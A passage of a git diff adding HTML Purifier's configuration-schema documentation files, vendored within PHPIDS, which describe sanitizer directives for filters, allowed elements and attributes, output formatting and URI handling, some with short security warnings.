+'; +?> + + + ++Filter.ExtractStyleBlocks +body {color:#F00;} Some text'; + + $config = HTMLPurifier_Config::createDefault(); + $config->set('Filter', 'ExtractStyleBlocks', true); + $purifier = new HTMLPurifier($config); + + $html = $purifier->purify($dirty); + + // This implementation writes the stylesheets to the styles/ directory. + // You can also echo the styles inside the document, but it's a bit + // more difficult to make sure they get interpreted properly by + // browsers; try the usual CSS armoring techniques. + $styles = $purifier->context->get('StyleBlocks'); + $dir = 'styles/'; + if (!is_dir($dir)) mkdir($dir); + $hash = sha1($_GET['html']); + foreach ($styles as $i => $style) { + file_put_contents($name = $dir . $hash . "_$i"); + echo ''; + } +?> + + ++ ++ + +]]>
+ Warning: It is possible for a user to mount an + imagecrash attack using this CSS. Counter-measures are difficult; + it is not simply enough to limit the range of CSS lengths (using + relative lengths with many nesting levels allows for large values + to be attained without actually specifying them in the stylesheet), + and the flexible nature of selectors makes it difficult to selectively + disable lengths on image tags (HTML Purifier, however, does disable + CSS width and height in inline styling). There are probably two effective + counter measures: an explicit width and height set to auto in all + images in your document (unlikely) or the disabling of width and + height (somewhat reasonable). Whether or not these measures should be + used is left to the reader. +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt new file mode 100644 index 000000000..cdcb3790d --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txt @@ -0,0 +1,10 @@ +Filter.YouTube +TYPE: bool +VERSION: 3.1.0 +DEFAULT: false +--DESCRIPTION-- ++ This directive enables YouTube video embedding in HTML Purifier. Check + this document + on embedding videos for more information on what this filter does. +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.txt new file mode 100644 index 000000000..9fad43a8f --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Filter.txt @@ -0,0 +1,2 @@ +Filter +DESCRIPTION: Directives for turning filters on and off, or specifying custom filters. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksEscaping.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksEscaping.txt new file mode 100644 index 000000000..d20010c7a --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksEscaping.txt @@ -0,0 +1,14 @@ +FilterParam.ExtractStyleBlocksEscaping +TYPE: bool +VERSION: 3.0.0 +DEFAULT: true +ALIASES: Filter.ExtractStyleBlocksEscaping +--DESCRIPTION-- + ++ Whether or not to escape the dangerous characters <, > and & + as \3C, \3E and \26, respectively. This is can be safely set to false + if the contents of StyleBlocks will be placed in an external stylesheet, + where there is no risk of it being interpreted as HTML. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksScope.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksScope.txt new file mode 100644 index 000000000..ec29078d8 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksScope.txt @@ -0,0 +1,28 @@ +FilterParam.ExtractStyleBlocksScope +TYPE: string/null +VERSION: 3.0.0 +DEFAULT: NULL +ALIASES: Filter.ExtractStyleBlocksScope +--DESCRIPTION-- + +
+ If you would like users to be able to define external stylesheets, but
+ only allow them to specify CSS declarations for a specific node and
+ prevent them from fiddling with other elements, use this directive.
+ It accepts any valid CSS selector, and will prepend this to any
+ CSS declaration extracted from the document. For example, if this
+ directive is set to #user-content and a user uses the
+ selector a:hover, the final selector will be
+ #user-content a:hover.
+
+ The comma shorthand may be used; consider the above example, with
+ #user-content, #user-content2, the final selector will
+ be #user-content a:hover, #user-content2 a:hover.
+
+ Warning: It is possible for users to bypass this measure + using a naughty + selector. This is a bug in CSS Tidy 1.3, not HTML + Purifier, and I am working to get it fixed. Until then, HTML Purifier + performs a basic check to prevent this. +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksTidyImpl.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksTidyImpl.txt new file mode 100644 index 000000000..07250bf96 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/FilterParam.ExtractStyleBlocksTidyImpl.txt @@ -0,0 +1,14 @@ +FilterParam.ExtractStyleBlocksTidyImpl +TYPE: mixed/null +VERSION: 3.1.0 +DEFAULT: NULL +--DESCRIPTION-- +
+ If left NULL, HTML Purifier will attempt to instantiate a csstidy
+ class to use for internal cleaning. This will usually be good enough.
+
+ However, for trusted user input, you can set this to false to
+ disable cleaning. In addition, you can supply your own concrete implementation
+ of Tidy's interface to use, although I don't know why you'd want to do that.
+
+ This is a convenience directive that rolls the functionality of
+ %HTML.AllowedElements and %HTML.AllowedAttributes into one directive.
+ Specify elements and attributes that are allowed using:
+ element1[attr1|attr2],element2.... You can also use
+ newlines instead of commas to separate elements.
+
+ Warning:
+ All of the constraints on the component directives are still enforced.
+ The syntax is a subset of TinyMCE's valid_elements
+ whitelist: directly copy-pasting it here will probably result in
+ broken whitelists. If %HTML.AllowedElements or %HTML.AllowedAttributes
+ are set, this directive has no effect.
+
+ If HTML Purifier's attribute set is unsatisfactory, overload it! + The syntax is "tag.attr" or "*.attr" for the global attributes + (style, id, class, dir, lang, xml:lang). +
++ Warning: If another directive conflicts with the + elements here, that directive will win and override. For + example, %HTML.EnableAttrID will take precedence over *.id in this + directive. You must set that directive to true before you can use + IDs at all. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt new file mode 100644 index 000000000..031a30067 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txt @@ -0,0 +1,18 @@ +HTML.AllowedElements +TYPE: lookup/null +VERSION: 1.3.0 +DEFAULT: NULL +--DESCRIPTION-- ++ If HTML Purifier's tag set is unsatisfactory for your needs, you + can overload it with your own list of tags to allow. Note that this + method is subtractive: it does its job by taking away from HTML Purifier + usual feature set, so you cannot add a tag that HTML Purifier never + supported in the first place (like embed, form or head). If you + change this, you probably also want to change %HTML.AllowedAttributes. +
++ Warning: If another directive conflicts with the + elements here, that directive will win and override. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt new file mode 100644 index 000000000..7b8367e1b --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txt @@ -0,0 +1,20 @@ +HTML.AllowedModules +TYPE: lookup/null +VERSION: 2.0.0 +DEFAULT: NULL +--DESCRIPTION-- + ++ A doctype comes with a set of usual modules to use. Without having + to mucking about with the doctypes, you can quickly activate or + disable these modules by specifying which modules you wish to allow + with this directive. This is most useful for unit testing specific + modules, although end users may find it useful for their own ends. +
++ If you specify a module that does not exist, the manager will silently + fail to use it, so be careful! User-defined modules are not affected + by this directive. Modules defined in %HTML.CoreModules are not + affected by this directive. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt new file mode 100644 index 000000000..47fe1433f --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txt @@ -0,0 +1,18 @@ +HTML.BlockWrapper +TYPE: string +VERSION: 1.3.0 +DEFAULT: 'p' +--DESCRIPTION-- + ++ String name of element to wrap inline elements that are inside a block + context. This only occurs in the children of blockquote in strict mode. +
+
+ Example: by default value,
+ <blockquote>Foo</blockquote> would become
+ <blockquote><p>Foo</p></blockquote>.
+ The <p> tags can be replaced with whatever you desire,
+ as long as it is a block level element.
+
+ Certain modularized doctypes (XHTML, namely), have certain modules + that must be included for the doctype to be an conforming document + type: put those modules here. By default, XHTML's core modules + are used. You can set this to a blank array to disable core module + protection, but this is not recommended. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt new file mode 100644 index 000000000..4b6d39cfb --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt @@ -0,0 +1,10 @@ +HTML.CustomDoctype +TYPE: string/null +VERSION: 2.0.1 +DEFAULT: NULL +--DESCRIPTION-- + +A custom doctype for power-users who defined there own document +type. This directive only applies when %HTML.Doctype is blank. + + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt new file mode 100644 index 000000000..07f6b67cf --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt @@ -0,0 +1,33 @@ +HTML.DefinitionID +TYPE: string/null +DEFAULT: NULL +VERSION: 2.0.0 +--DESCRIPTION-- + ++ Unique identifier for a custom-built HTML definition. If you edit + the raw version of the HTMLDefinition, introducing changes that the + configuration object does not reflect, you must specify this variable. + If you change your custom edits, you should change this directive, or + clear your cache. Example: +
+
+$config = HTMLPurifier_Config::createDefault();
+$config->set('HTML', 'DefinitionID', '1');
+$def = $config->getHTMLDefinition();
+$def->addAttribute('a', 'tabindex', 'Number');
+
++ In the above example, the configuration is still at the defaults, but + using the advanced API, an extra attribute has been added. The + configuration object normally has no way of knowing that this change + has taken place, so it needs an extra directive: %HTML.DefinitionID. + If someone else attempts to use the default configuration, these two + pieces of code will not clobber each other in the cache, since one has + an extra directive attached to it. +
++ You must specify a value to this directive to use the + advanced API features. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt new file mode 100644 index 000000000..dfee8e774 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt @@ -0,0 +1,16 @@ +HTML.DefinitionRev +TYPE: int +VERSION: 2.0.0 +DEFAULT: 1 +--DESCRIPTION-- + ++ Revision identifier for your custom definition specified in + %HTML.DefinitionID. This serves the same purpose: uniquely identifying + your custom definition, but this one does so in a chronological + context: revision 3 is more up-to-date then revision 2. Thus, when + this gets incremented, the cache handling is smart enough to clean + up any older revisions of your definition as well as flush the + cache. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt new file mode 100644 index 000000000..1c58e2a37 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt @@ -0,0 +1,10 @@ +HTML.Doctype +TYPE: string/null +DEFAULT: NULL +--DESCRIPTION-- +Doctype to use during filtering. Technically speaking this is not actually +a doctype (as it does not identify a corresponding DTD), but we are using +this name for sake of simplicity. When non-blank, this will override any +older directives like %HTML.XHTML or %HTML.Strict. +--ALLOWED-- +'HTML 4.01 Transitional', 'HTML 4.01 Strict', 'XHTML 1.0 Transitional', 'XHTML 1.0 Strict', 'XHTML 1.1' diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt new file mode 100644 index 000000000..6a0538854 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt @@ -0,0 +1,20 @@ +HTML.ForbiddenAttributes +TYPE: lookup +VERSION: 3.1.0 +DEFAULT: array() +--DESCRIPTION-- +
+ While this directive is similar to %HTML.AllowedAttributes, for
+ forwards-compatibility with XML, this attribute has a different syntax. Instead of
+ tag.attr, use tag@attr. To disallow href
+ attributes in a tags, set this directive to
+ a@href. You can also disallow an attribute globally with
+ attr or *@attr (either syntax is fine; the latter
+ is provided for consistency with %HTML.AllowedAttributes).
+
+ Warning: This directive complements %HTML.ForbiddenElements, + accordingly, check + out that directive for a discussion of why you + should think twice before using this directive. +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt new file mode 100644 index 000000000..328eecfb3 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt @@ -0,0 +1,19 @@ +HTML.ForbiddenElements +TYPE: lookup +VERSION: 3.1.0 +DEFAULT: array() +--DESCRIPTION-- ++ This was, perhaps, the most requested feature ever in HTML + Purifier. Please don't abuse it! This is the logical inverse of + %HTML.AllowedElements, and it will override that directive, or any + other directive. +
+
+ If possible, %HTML.Allowed is recommended over this directive, because it
+ can sometimes be difficult to tell whether or not you've forbidden all of
+ the behavior you would like to disallow. If you forbid img
+ with the expectation of preventing images on your site, you'll be in for
+ a nasty surprise when people start using the background-image
+ CSS property.
+
+ This directive controls the maximum number of pixels in the width and
+ height attributes in img tags. This is
+ in place to prevent imagecrash attacks, disable with null at your own risk.
+ This directive is similar to %CSS.MaxImgLength, and both should be
+ concurrently edited, although there are
+ subtle differences in the input format (the HTML max is an integer).
+
+ String name of element that HTML fragment passed to library will be + inserted in. An interesting variation would be using span as the + parent element, meaning that only inline tags would be allowed. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt new file mode 100644 index 000000000..34b320367 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt @@ -0,0 +1,11 @@ +HTML.Proprietary +TYPE: bool +VERSION: 3.1.0 +DEFAULT: false +--DESCRIPTION-- +
+ Whether or not to allow proprietary elements and attributes in your
+ documents, as per HTMLPurifier_HTMLModule_Proprietary.
+ Warning: This can cause your documents to stop
+ validating!
+
+ Whether or not to permit embed tags in documents, with a number of extra + security features added to prevent script execution. This is similar to + what websites like MySpace do to embed tags. Embed is a proprietary + element and will cause your website to stop validating. You probably want + to enable this with %HTML.SafeObject. + Highly experimental. +
\ No newline at end of file diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt new file mode 100644 index 000000000..74709994e --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt @@ -0,0 +1,13 @@ +HTML.SafeObject +TYPE: bool +VERSION: 3.1.1 +DEFAULT: false +--DESCRIPTION-- ++ Whether or not to permit object tags in documents, with a number of extra + security features added to prevent script execution. This is similar to + what websites like MySpace do to object tags. You may also want to + enable %HTML.SafeEmbed for maximum interoperability with Internet Explorer, + although embed tags will cause your website to stop validating. + Highly experimental. +
diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt new file mode 100644 index 000000000..39f817963 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt @@ -0,0 +1,8 @@ +HTML.Strict +TYPE: bool +VERSION: 1.3.0 +DEFAULT: false +DEPRECATED-VERSION: 1.7.0 +DEPRECATED-USE: HTML.Doctype +--DESCRIPTION-- +Determines whether or not to use Transitional (loose) or Strict rulesets. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt new file mode 100644 index 000000000..7bf3c6d40 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt @@ -0,0 +1,8 @@ +HTML.TidyAdd +TYPE: lookup +VERSION: 2.0.0 +DEFAULT: array() +--DESCRIPTION-- + +Fixes to add to the default set of Tidy fixes as per your level. + diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt new file mode 100644 index 000000000..7b98bc7e9 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt @@ -0,0 +1,23 @@ +HTML.TidyLevel +TYPE: string +VERSION: 2.0.0 +DEFAULT: 'medium' +--DESCRIPTION-- + +General level of cleanliness the Tidy module should enforce. +There are four allowed values:
++ Newline string to format final output with. If left null, HTML Purifier + will auto-detect the default newline type of the system and use that; + you can manually override it here. Remember, \r\n is Windows, \r + is Mac, and \n is Unix. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt new file mode 100644 index 000000000..c8c4e8355 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt @@ -0,0 +1,13 @@ +Output.SortAttr +TYPE: bool +VERSION: 3.2.0 +DEFAULT: false +--DESCRIPTION-- +
+ If true, HTML Purifier will sort attributes by name before writing them back
+ to the document, converting a tag like: <el b="" a="" c="" />
+ to <el a="" b="" c="" />. This is a workaround for
+ a bug in FCKeditor which causes it to swap attributes order, adding noise
+ to text diffs. If you're not seeing this bug, chances are, you don't need
+ this directive.
+
+ Determines whether or not to run Tidy on the final output for pretty + formatting reasons, such as indentation and wrap. +
++ This can greatly improve readability for editors who are hand-editing + the HTML, but is by no means necessary as HTML Purifier has already + fixed all major errors the HTML may have had. Tidy is a non-default + extension, and this directive will silently fail if Tidy is not + available. +
++ If you are looking to make the overall look of your page's source + better, I recommend running Tidy on the entire page rather than just + user-content (after all, the indentation relative to the containing + blocks will be incorrect). +
+--ALIASES-- +Core.TidyFormat diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.txt new file mode 100644 index 000000000..134e141f0 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Output.txt @@ -0,0 +1,2 @@ +Output +DESCRIPTION: Configuration relating to the generation of (X)HTML. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt new file mode 100644 index 000000000..99337628d --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt @@ -0,0 +1,6 @@ +Test.ForceNoIconv +TYPE: bool +DEFAULT: false +--DESCRIPTION-- +When set to true, HTMLPurifier_Encoder will act as if iconv does not exist +and use only pure PHP implementations. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Test.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Test.txt new file mode 100644 index 000000000..fec6f8d8f --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Test.txt @@ -0,0 +1,2 @@ +Test +DESCRIPTION: Developer testing configuration for our unit tests. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt new file mode 100644 index 000000000..2686bac42 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt @@ -0,0 +1,14 @@ +URI.AllowedSchemes +TYPE: lookup +--DEFAULT-- +array ( + 'http' => true, + 'https' => true, + 'mailto' => true, + 'ftp' => true, + 'nntp' => true, + 'news' => true, +) +--DESCRIPTION-- +Whitelist that defines the schemes that a URI is allowed to have. This +prevents XSS attacks from using pseudo-schemes like javascript or mocha. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Base.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Base.txt new file mode 100644 index 000000000..a0f8d97b0 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Base.txt @@ -0,0 +1,17 @@ +URI.Base +TYPE: string/null +VERSION: 2.1.0 +DEFAULT: NULL +--DESCRIPTION-- + ++ The base URI is the URI of the document this purified HTML will be + inserted into. This information is important if HTML Purifier needs + to calculate absolute URIs from relative URIs, such as when %URI.MakeAbsolute + is on. You may use a non-absolute URI for this value, but behavior + may vary (%URI.MakeAbsolute deals nicely with both absolute and + relative paths, but forwards-compatibility is not guaranteed). + Warning: If set, the scheme on this URI + overrides the one specified by %URI.DefaultScheme. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt new file mode 100644 index 000000000..2f39c2fad --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt @@ -0,0 +1,10 @@ +URI.DefaultScheme +TYPE: string +DEFAULT: 'http' +--DESCRIPTION-- + ++ Defines through what scheme the output will be served, in order to + select the proper object validator when no scheme information is present. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt new file mode 100644 index 000000000..20bfc1db7 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt @@ -0,0 +1,11 @@ +URI.DefinitionID +TYPE: string/null +VERSION: 2.1.0 +DEFAULT: NULL +--DESCRIPTION-- + ++ Unique identifier for a custom-built URI definition. If you want + to add custom URIFilters, you must specify this value. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt new file mode 100644 index 000000000..7dabdc6d7 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt @@ -0,0 +1,11 @@ +URI.DefinitionRev +TYPE: int +VERSION: 2.1.0 +DEFAULT: 1 +--DESCRIPTION-- + ++ Revision identifier for your custom definition. See + %HTML.DefinitionRev for details. +
+ diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt new file mode 100644 index 000000000..a97b2e29e --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt @@ -0,0 +1,13 @@ +URI.Disable +TYPE: bool +VERSION: 1.3.0 +DEFAULT: false +--DESCRIPTION-- + ++ Disables all URIs in all forms. Not sure why you'd want to do that + (after all, the Internet's founded on the notion of a hyperlink). +
+ +--ALIASES-- +Attr.DisableURI diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt new file mode 100644 index 000000000..6d3ceba86 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt @@ -0,0 +1,10 @@ +URI.DisableExternal +TYPE: bool +VERSION: 1.2.0 +DEFAULT: false +--DESCRIPTION-- +Disables links to external websites. This is a highly effective anti-spam +and anti-pagerank-leech measure, but comes at a hefty price: nolinks or +images outside of your domain will be allowed. Non-linkified URIs will +still be preserved. If you want to be able to link to subdomains or use +absolute URIs, specify %URI.Host for your website. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt new file mode 100644 index 000000000..37f5d13f8 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt @@ -0,0 +1,12 @@ +URI.DisableExternalResources +TYPE: bool +VERSION: 1.3.0 +DEFAULT: false +--DESCRIPTION-- +Disables the embedding of external resources, preventing users from +embedding things like images from other hosts. This prevents access +tracking (good for email viewers), bandwidth leeching, cross-site request +forging, goatse.cx posting, and other nasties, but also results in a loss +of end-user functionality (they can't directly post a pic they posted from +Flickr anymore). Use it if you don't have a robust user-content moderation +team. diff --git a/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt new file mode 100644 index 000000000..a45605145 --- /dev/null +++ b/external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt @@ -0,0 +1,12 @@ +URI.DisableResources +TYPE: bool +VERSION: 1.3.0 +DEFAULT: false +--DESCRIPTION-- + ++ Disables embedding resources, essentially meaning no pictures. You can + still link to them though. See %URI.DisableExternalResources for why + this might be a good idea. +
